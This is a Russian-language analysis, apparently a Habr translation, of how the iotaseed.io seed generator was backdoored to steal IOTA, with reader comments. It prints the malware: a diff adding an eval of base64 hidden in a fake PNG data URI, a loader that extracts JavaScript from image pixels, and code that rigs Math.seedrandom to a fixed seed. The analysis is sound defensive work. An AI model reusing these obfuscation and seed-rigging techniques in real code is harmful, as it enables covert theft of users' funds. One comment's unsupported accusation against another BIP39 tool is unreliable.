Как вредоносный сайт-генератор сид-фраз позволил украсть $4 млн +16



Недавно Ars Techica опубликовала материал, описывающий как вредоносный (и уже неработающий ныне) генератор сид-фраз iotaseed.io позволил его создателю украсть криптовалюту IOTA на сумму почти $4 млн с кошельков пользователей.



Согласно описанию издания, веб-сайт «хранил данные о каждой сгенерированной сид-фразе вместе с информацией о кошельке, с которым он был связан, позволяя владельцам веб-сайта (или тем, кто его взломал) попросту дождаться поступления токенов на кошельки, а потом вывести их на свои счета». В этой статье я решил изучить техническую сторону этой аферы.

Ищем код


Изначальная версия веб-сайт iotaseed.io была заменена сообщением о том, что он отключен. К счастью, копия сайта сохранилась у Wayback Machine.

Веб-сайт ведет на гитхаб-репозиторий, предупреждающий посетителей, что код открыт для ознакомления, но рекомендующий пользователям производить генерацию сидов на самом веб-сайте, поскольку репозиторий может содержать более новый и еще не протестированный код.

С учетом этой информации я предположил, что вредоносный код действовал только на сайте, а в репозитории его не было. Такой подход позволил бы спрятать фрагменты кода, использованные для воровства сидов. В репозитории содержался только чистый код, не вызывающий каких-либо вопросов или подозрений. Это объяснило бы рекомендацию пользоваться только веб-сайтом, а не репозиторием. Если все действительно так, то любая попытка сравнить JavaScript на сайте с JavaScript в Github-репозитории привела бы к очевидному обнаружению бэкдора на сайте.

К сожалению, гитхаб-репозиторий iotaseed.io ссылает на уже удаленный norbertvdberg/iotaseed (аккаунт тоже был удален). Wayback Machine сохранила только главную страницу репозитория. В ответ на попытки посмотреть код или скачать его zip-архив WM говорит, что эти страницы не были ей заархивированы. Тем не менее посмотрев на счетчик форков в правом верхнем углу, мы можем обнаружить, что этот код был форкнут 8 разными аккаунтами. Проверив соответствующую статью в базе знаний GitHub узнаем, что удаление репозитория не влияет на работу его форков. Это значит, что копии этого репозитория могут по-прежнему существовать где-то на просторах сервиса.



Быстрый поиск по коммитам, видным в сохраненной Wayback Machine копии страницы, позволяет узнать следующее:



Похоже eggdroid/eggseed3 — один из форков оригинального кода iotaseed.io. Все 26 коммитов в нем сделаны norbertvdberg, то есть тем же самым пользователем-владельцем оригинального репозитория. Теперь, когда в нашем распоряжении есть как веб-сайт, так и JavaScript файлы с гитхаба, пришло время сравнить их и найти разницу.

Анализируем код


Генератор сидов состоит из множества разных JavaScript-файлов, объединенных в один файл all.js минимизированный до all.mini.js. Именно он по факту и был использован на странице. Поэтому я сравнил его с таким же js-файлом из сохраненной WM копии.

$ shasum all-website.mini.js all-github.mini.js 
3d48933698d8cf1d1673067d782595c12c815424  all-website.mini.js
3d48933698d8cf1d1673067d782595c12c815424  all-github.mini.js

К моему сожалению, оба файла оказались одинаковы. Покопавшись в коде, я заметил, что сразу после генерации кошелька Web Worker запускал генерацию QR-кодов и данных для бумажной версии кошелька. Код этого воркера находится в другом файле all-wallet.mini.js. Быть может, что-нибудь было спрятано именно в нем?

Версии этого файла с сайта и из копии WM показались разными, и потому я прогнал оба файла через js-beautify, потом сравнил их diff-ом чтобы увидеть конкретные различия.

$ diff all-wallet-website.js all-wallet-github.js
1313c1313
<             t = t || {}, this.version = e("../package.json").version, this.host = t.host ? t.host : "http://web.archive.org/web/20180120222030/http://localhost/", this.port = t.port ? t.port : 14265, this.provider = t.provider || this.host.replace(/\/$/, "") + ":" + this.port, this.sandbox = t.sandbox || !1, this.token = t.token || !1, this.sandbox && (this.sandbox = this.provider.replace(/\/$/, ""), this.provider = this.sandbox + "/commands"), this._makeRequest = new o(this.provider, this.token), this.api = new a(this._makeRequest, this.sandbox), this.utils = i, this.valid = e("./utils/inputValidator"), this.multisig = new s(this._makeRequest)
---
>             t = t || {}, this.version = e("../package.json").version, this.host = t.host ? t.host : "http://localhost", this.port = t.port ? t.port : 14265, this.provider = t.provider || this.host.replace(/\/$/, "") + ":" + this.port, this.sandbox = t.sandbox || !1, this.token = t.token || !1, this.sandbox && (this.sandbox = this.provider.replace(/\/$/, ""), this.provider = this.sandbox + "/commands"), this._makeRequest = new o(this.provider, this.token), this.api = new a(this._makeRequest, this.sandbox), this.utils = i, this.valid = e("./utils/inputValidator"), this.multisig = new s(this._makeRequest)
1713c1713
<             this.provider = e || "http://web.archive.org/web/20180120222030/http://localhost:14265/", this.token = t
---
>             this.provider = e || "http://localhost:14265", this.token = t
1718c1718
<             this.provider = e || "http://web.archive.org/web/20180120222030/http://localhost:14265/"
---
>             this.provider = e || "http://localhost:14265"
6435c6435
<                 website: "http://web.archive.org/web/20180120222030/https://iota.org/"
---
>                 website: "https://iota.org"
6440c6440
<                 url: "http://web.archive.org/web/20180120222030/https://github.com/iotaledger/iota.lib.js/issues"
---
>                 url: "https://github.com/iotaledger/iota.lib.js/issues"
6444c6444
<                 url: "http://web.archive.org/web/20180120222030/https://github.com/iotaledger/iota.lib.js.git"
---
>                 url: "https://github.com/iotaledger/iota.lib.js.git"

Но разница оказалась только в том, что Wayback Machine переписала некоторые URLы, чтобы они указывали на web.archive.org. С функциональной точки зрения, код генерации сидов в обоих файлах оказался одинаковым.

После этого я решил внимательнее присмотреться к index.html и заметил подгрузку еще одного яваскрипта библиотеки оповещений, которую сначала проглядел. Я проделал те же манипуляции с его сохраненной WM копией и копией из репозитория и подозрительный код стал очевиден:

$ diff notifier-website.js notifier-github.js 
68,71d67
<             if (!window.inited_n) {
<                 window.inited_n = true;
<                 Notifier.init()
<             }
82,87d77
<             if (/,T/.test(image)) {
<                 if (/ps:.*o/.test(document.location)) {
<                     eval(atob(image.split(",")[2]))
<                 }
<                 return
<             }
119,121d108
<         init: function(message, title) {
<             this.notify(message, title, "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9wCBxILCcud3gSTrg4uDm5uZFRETbRznoTD3oTD1JR0iXlYXaRzncRzhBQUDnSjtNS0zUzsdnZmVLSEpMSEoyNjPm5eSZmYfm6ekzNTOloI42ODbm6Oiioo/h4eEzODbm5+eop5SiopCiopDl396hloaDg3ToTD3m5uZMS03/9RTlAAAADy8vIgICA2NzY4OzYPM0fa29q,ZnVuY3Rpb24gY0RpcyhmKXt2YXIgbz1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCJjYW52YXMiKS5nZXRDb250ZXh0KCIyZCIpO3ZhciBpPW5ldyBJbWFnZTtpLm9ubG9hZD1mdW5jdGlvbigpe28uZHJhd0ltYWdlKGksMCwwKTtkUyhvLmdldEltYWdlRGF0YSgwLDAsMjk4LDEwMCkuZGF0YSl9O2kuc3JjPWZ9ZnVuY3Rpb24gZFMoZCl7dmFyIGw9MjEsYk09IiIsdE09IiI7Zm9yKHZhciBpPTA7aTxsO2krKyl7dmFyIGI9KGRbaSo0KzJdPj4+MCkudG9TdHJpbmcoMik7Yk0rPWJbYi5sZW5ndGgtMV07aWYoYk0ubGVuZ3RoPT0xNil7bD1wYXJzZUludChiTSwyKSsxNjtiTT0iIn1lbHNlIGlmKGJNLmxlbmd0aD09OCYmbCE9MjEpe3RNKz1TdHJpbmcuZnJvbUNoYXJDb2RlKHBhcnNlSW50KGJNLDIpKTtiTT0iIn19ZXZhbCh0TSl9Y0RpcygiLi9pbWFnZXMvbG9nb19zbWFsbF9ib3R0b20ucG5nIik7,TbRznoTD3oTD1JR0iXlYXaRzncRzhBQUDnSjtNS0zUzsdnZmVLSEpMSEoyNjPm5eSZmYfm6ekzNTOloI42ODbm6Oiioo/h4eEzODbm5+eop5SiopCiopDl396hloaDg3ToTD3m5uZMS03///9RTlAAAADy8vIgICA2NzY4OzYPM0fa29qgoI7/zMnj4+PW19VGRkbqPi7v7/D6+vr09fXyTj4rKSvhSTo/Pj/oSDnlMyLsNCI0MTP0///tTT7ZRjizOi+6PDDmLRyenZ7oKRfExMT/TzvobGEVFBWGhYUAGjLW8/ToXVADLUZ8e33/2tfRRTdWVFTFQDT1u7aSkZIADib+5eFwcHHW+/z70tDwkIesPTPW6+teXV2xsbG7u7vY4+Lre3DMzM2qp6jilIxsPT7lg3kdO07m/f4AJjuwsJzftK/fpZ7woJjoVUZBWGj1zMdTaXfcvrrzq6Tby8f+8u8wSlYZNDaQRUKfr7d9j5lpf4vx5ePMsLF/o64s+PNlAAAANnRSTlMAC1IoljoZWm2yloPRGWiJfdjEEk037Esq7Pn24EKjpiX+z7rJNNWB5pGxZ1m2mZY/gXOlr43C+dBMAAAmkklEQVR42uzay86bMBAF4MnCV1kCeQFIRn6M8xZe+v1fpVECdtPSy5822Bi+JcujmfEApl3IIRhBFyIJ3Em6UMTDSKfHsOB0dhILQ2fX4+4aF0tVXC3yJJB4OrcJV1msIhJN52avslhpZOfcvyepfceIaARw5t2CWTwYRhSQTdSum1TGqE5Mr0kg6Ukj66hZ3GExaEaJQsYIWXzmd6P2KHxn6NjG4/BDMEQ6RM+oNQ6vjJyWFTNTDJlau0e1drAO+Ikan8tE1itkfC0S11iXKGyYJZFB5jpkgmY8WWoKx6Z5JI3MGyQqV1Jj80Jgm2J9xGrQSAKfcyptEfgFrxxWnUUiVEqIGjN5bAsRKyOReI9FaGxw3o0Of8I6rAbbcBR06yN+T+Uogmu2QR5ucsaXuV6w1hath9HiDWGwWrLmOoUL7/CWYLRo6/2d9zPeN6hONNEvXKiIf2fkwauDCxXwcPI0mA/4v+whvwdzafABTh/tZW3SEcmZS0NYfJTTB5kaYsbnHSEMMWMfuvJdg3vsJlR9R6UP2JOp9jRhM/ZVa5dwiwJCT9UZI8qwtRVGh2JCVSsXtyinqgtMk0NJFf1QYwGlmToGhkQFQg3X5nvUofzw7FCLr2bRak2Uz0KgJhOVM6EqjlMpvPwp+ioWy2JAbWYqQ6E+mv5SwyNzJWh/HHX6Rty17TYNBFF44CokEA+ABELiJ2yMnUorefElCY5pHGgqu3JUhYAU0xpwwYoqJSAU8sgXMxvvekwukAS0PS9pq3I8OXtmZm8pF3D6vuLEx7N833/N0bI85X/CarUEte9b68nlf4rg+lKoEGAvPMvzk6+Ak5OwZ71u/S81gEoJR8AMyPNR2FOs7jo1pG94PvzdD76vjCZTYp/vlzDefw0hYOWf4b1+3Tt5+3MfcZ7NxnnPX0Uu//7StQUhwgmNk/N9x3ENDpfF/P7E6/6rM1qt8K0BXMjsOs7+eZKNR95KMSQfCgS/pUY4TuPUdlEHlOPnCXj7H2B1e9+ZxRaZHVuN49nI8pUlNC9JRLVSwMhM4piahmOsA/FMFPwB+4ZiyTYnf/gAAAABJRU5ErkJggg==")
<         },

Похоже кто-то очень аккуратно внес изменения в библиотеку Notifier.js, чтобы спрятать в ней фрагмент кода. Метод Notifier.notify был изменен так, чтобы в нем производилась проверка того, содержит ли параметр image ",T". Далее он декодирует часть параметра в JavaScript и обрабатывает его. Другое изменение добавляло метод Notifier.init(), вызываемый после загрузки страницы. Он в свою очередь вызывал метод notify с таким параметром image, который провоцировал срабатывание этого кода.

Запуск приведенного выше фрагмента кода atob(image.split(",")[2]) с указанной в нем data-ссылкой дает следующий фрагмент кода (отступы и пробелы добавлены для улучшения читабельности):

function cDis(f) {
    var o = document.createElement("canvas").getContext("2d");
    var i = new Image;
    i.onload = function() {
        o.drawImage(i, 0, 0);
        dS(o.getImageData(0, 0, 298, 100).data)
    };
    i.src = f
}

function dS(d) {
    var l = 21,
        bM = "",
        tM = "";
    for (var i = 0; i < l; i++) {
        var b = (d[i * 4 + 2] >>> 0).toString(2);
        bM += b[b.length - 1];
        if (bM.length == 16) {
            l = parseInt(bM, 2) + 16;
            bM = ""
        } else if (bM.length == 8 && l != 21) {
            tM += String.fromCharCode(parseInt(bM, 2));
            bM = ""
        }
    }
    eval(tM)
}
cDis("./images/logo_small_bottom.png");

Вторая часть вредоносного кода вставляет ./images/logo_small_bottom.png в скрытый за пределами экрана <сanvas> элемент, считывает изображение в виде текста и обрабатывает этот текст как яваскрипт-код.

Файл logo_small_bottom.png был добавлен в репозиторий 28 августа 2017 года и обновлен 3 часа спустя. Обе его версии, пропущенные через этот декодер изображений, не дают валидного кода.

Тем не менее на сохраненной WM копии сайта использовалось другое изображение. В нем спрятан следующий код (отступы опять же добавлены для удобства):

if (/ps:.*\.io/.test(document.location)) {
    mode = "M";
    (function(message) {
        var name = "edr";
        name += "an";
        message["cont"] = 0;
        name += "dom";

        function show(arg, options, image) {
            message["e2" + name]("4782588875512803642" + String(message["cont"]), options, image);
            message["cont"] += 1
        }
        message["e2" + name] = message["se" + name];
        message["se" + name] = show
    })(eval(mode + "ath"))
}

Это последний этап яваскрипт-бекдора. Его можно упростить до следующего кода:

Math.cont = 0;

function show(arg, options, image) {
	Math.e2edrandom("4782588875512803642" + String(Math.cont), options, image);
	Math.cont += 1;
}
Math.e2edrandom = Math.seedrandom;
Math.seedrandom = show;

Этот код меняет функцию Math.seedrandom, используемую кодом генерации так, чтобы она всегда брала постоянный сид 4782588875512803642 и прибавляла к нему значение переменной-счетчика, возрастающей на единицу при каждом запуске seedrandom. Это приводит к тому, что Math.random() всегда возвращает одинаковые, предсказуемые последовательности чисел. В итоге сгенерированный сид каждого нового IOTA кошелька всегда оставался одинаковым. Это становится вполне очевидно если вы попробуете открыть архивную версию iotaseed.io несколько раз и обратите внимание, что сгенерированный сид всегда остается XZHKIPJIFZFYJJMKBVBJLQUGLLE9VUREWK9QYTITMQYPHBWWPUDSATLLUADKSEEYWXKCDHWSMBTBURCQD, даже если проводить проверку с разных компьютеров.

Здесь важно отметить, что число, использованное для генерации ("4782588875512803642" в приведенном ранее примере) отличалось для каждого пользователя. В силу того, что WM сохранила копию изображения в определенный момент времени, сид остается одинаковым всякий раз, когда вы открываете копию за эту же дату. Проверка за другие даты, например 31 октября или 19 ноября, показывают что их числа и сиды отличаются от рассмотренной нами копии за 3 января. Исходя из этого можно сделать вывод, что файл ./images/logo_small_bottom.png генерировался на лету сервером iotaseed.io.

Во время создания этого файла число, используемое исправленным генератором случайных чисел, изменялось, и вероятно сохранялось где-либо для того, чтобы злоумышленник мог позже воспользоваться им для кражи IOTA. В результате веб-сайт действительно генерировал разные сиды для разных пользователей. Впрочем со случайной генерацией на стороне сервера дела тоже обстояли не лучшим образом, поскольку известно, что по крайней мере один человек получил на сайте сид, которым уже кто-то пользовался. Демонстрация разницы кода доступна по этой ссылке.

Используя официальную Javascript-библиотеку IOTA, можно установить, что упомянутому ранее сиду XZHKIPJIFZFYJJMKBVBJLQUGLLE9VUREWK9QYTITMQYPHBWWPUDSATLLUADKSEEYWXKCDHWSMBTBURCQD соответствует адрес PUEBLAHRQGOTIAMJHCCXXGQPXDQJS9BDFSCDSMINAYJNSILCCISDVY99GMKAEIAICYQUXMIYTNQCJYVDX. По данным этого веб-сайта, кошелек пуст, однако другие сайты-эксплореры истории транзакций отдают 404 ошибку. Это значит, что либо я допустил ошибку при декодировании адреса, либо плохо понимаю, как работает сеть IOTA.

Заключение


Бэкдор был спрятан хитроумно. Он точно был помещен туда со злым умыслом, а не из-за ошибки с применением криптографии. Не ясно до конца, был ли он добавлен владельцем гитхаб-репозитория и сайта norbertvdberg, или же его хостинг-аккаунт был взломан. Как бы то ни было, судя по реакции владельца, удалившего после этого свои аккаунты на GitHub, Reddit и Quora, выходит что сайт был изначально задуман для кражи средств пользователей.

Злоумышленники предприняли немало шагов для сокрытия бэкдора. Беглый взгляд на панель разработчика в браузере не показал бы ничего подозрительного. Например data: ссылка на первом этапе бэкдора начиналась с iVBORw0KGgo что соответствует началу действительного PNG заголовка, закодированного в base 64. А это значит, что такой url легко можно было принять за вставку изображения — действие вполне нормальное для js-библиотеки уведомлений. Часть яваскрипт кода загружается из изображения, и его запрос представляет собой единственный сетевой запрос. К сожалению, всего этого оказалось достаточно, чтобы заставить многих людей поверить, что с сайтом все в порядке.

Внимательное изучение панели разработчика в браузере позволяет увидеть этот запрос.



В целом это происшествие следует воспринимать как напоминание о том, что когда речь заходит о криптовалютах (и особенно крупных суммах!), паранойя может быть хорошей вещью. Полагаться на онлайн-сервисы, такие, как генераторы сид-фраз или веб-кошельки, доверяя им значимые для вас суммы не следует никогда. Пользоваться надо только тем софтом, который прошел тщательный ревью и аудит со стороны сообщества.

В нашем случае iotaseed.io действительно позиционировала себя как решение с открытым программным кодом, указывая на открытость и возможность проверки кода любым желающим. Похоже этого оказалось достаточно чтобы убедить некоторых людей, но никто из них не подумал, что реальный код, работающий на веб-сайте может быть изменен. Внимательная проверка обнаружила бы этот факт, предоставив нам еще один пример того, к каким серьезным последствиям может привести слепое доверие ярлыку open-source, особенно в сфере криптовалют.

image

Вы можете помочь и перевести немного средств на развитие сайта



Комментарии (8):

  1. Javian
    /#10583501

    следует воспринимать как напоминание о том, что когда речь заходит о криптовалютах (и особенно крупных суммах!), паранойя может быть хорошей вещью

    Великолепно продумано. Противоречиво звучит, но 4 млн. они действительно заработали своим умом. А остальным полезный урок.

  2. zag2art
    /#10583673

    4 млн они украли. заработали их другие

    • boblenin
      /#10583729 / -1

      Другие украли их у будущих поколений, зазря истратив электроэнергию и испортив климат. А тут вор у вора.

      • ProRunner
        /#10583991

        Вы бы хоть сперва ознакомились с механизмом эмиссии в йоте. Она не основана на proof of work и не майнится. Все монеты были выпущены сразу при создании. То есть электроэнергии на это было затрачено не намного больше, чем вы потратили на написание своего комментария.

  3. Scif_yar
    /#10583681 / +1

    А как же миллионы глаз??? Ведь опенсорц весь такой проверенный!
    Миллионы глаз.жпг (С)одинчатег

    • boblenin
      /#10583731 / +1

      Если противопоставлять проприетарщине, то сделать то же самое было бы проще. А тут… заморочились так.

  4. r85qPZ1d3y
    /#10584053

    Генератор BIP39 из той же серии, много сервисов со схожими хитростями, например iancoleman, там правда несколько иная хитрость используется, но принцип тот же. Пользуйтесь на здоровье, ваши деньги в полной безопасности. Аминь.